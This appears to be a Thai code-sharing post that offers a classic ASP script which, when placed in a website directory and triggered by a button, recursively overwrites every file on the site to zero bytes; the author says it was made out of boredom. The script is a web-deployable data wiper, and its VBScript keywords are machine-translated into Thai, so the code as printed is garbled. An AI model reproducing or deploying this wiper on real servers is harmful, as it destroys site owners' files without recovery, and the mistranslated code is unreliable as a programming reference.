ล้างไฟล์ทั้งหมดในไดเร็กทอรีไซต์โดยอัตโนมัติ

ฟังก์ชั่น: คุณสามารถล้างไฟล์ทั้งหมดของเว็บไซต์ที่มีไฟล์นี้อยู่และล้างเนื้อหาไฟล์ให้เป็นศูนย์ หลังจากการดำเนินการเสร็จสิ้น ขนาดของไฟล์ทั้งหมดจะกลายเป็น 0 ไบต์
รหัสนี้เป็นผลงานต้นฉบับของฉันเอง โปรดทำเครื่องหมายซ้ำจาก lamking.com ขอขอบคุณสำหรับความร่วมมือของคุณ นอกจากนี้ยังสามารถขยายโปรแกรมได้

เนื่องจากความเบื่อหน่าย .

<%
Server.ScriptTimeout=99999
หาก Request("Submit")<>"" จากนั้น
โทร ListFile(Server.mappath("./"))
Response.write "การทำความสะอาดเสร็จสมบูรณ์"
อื่น
Response.write"<form><input type=""submit"" name=""Submit"" value=""เริ่มการล้างข้อมูล""></form>"
สิ้นสุดถ้า
รายการฟังก์ชันไฟล์(fpath)
เมื่อเกิดข้อผิดพลาด ดำเนินการต่อต่อไป
Dim Shell,โฟลเดอร์,s
ตั้งค่าเชลล์ =Server.CreateObject ("Shell.Application")
ตั้งค่าโฟลเดอร์ =Shell.Namespace(fpath)
ตั้งค่า f=Server.CreateObject("Adodb.Stream")
ฉ.ประเภท=1
ฉ.เปิด
สำหรับแต่ละรายการใน Folder.Items
ถ้า s.isfolder แล้ว
รายการโทรไฟล์ (s.path)
อื่น
f.SaveToFile s.path,2
จบถ้า
ต่อไป
ตั้งค่า f=ไม่มีอะไร
ตั้งค่า Shell=nothing
สิ้นสุดฟังก์ชัน
-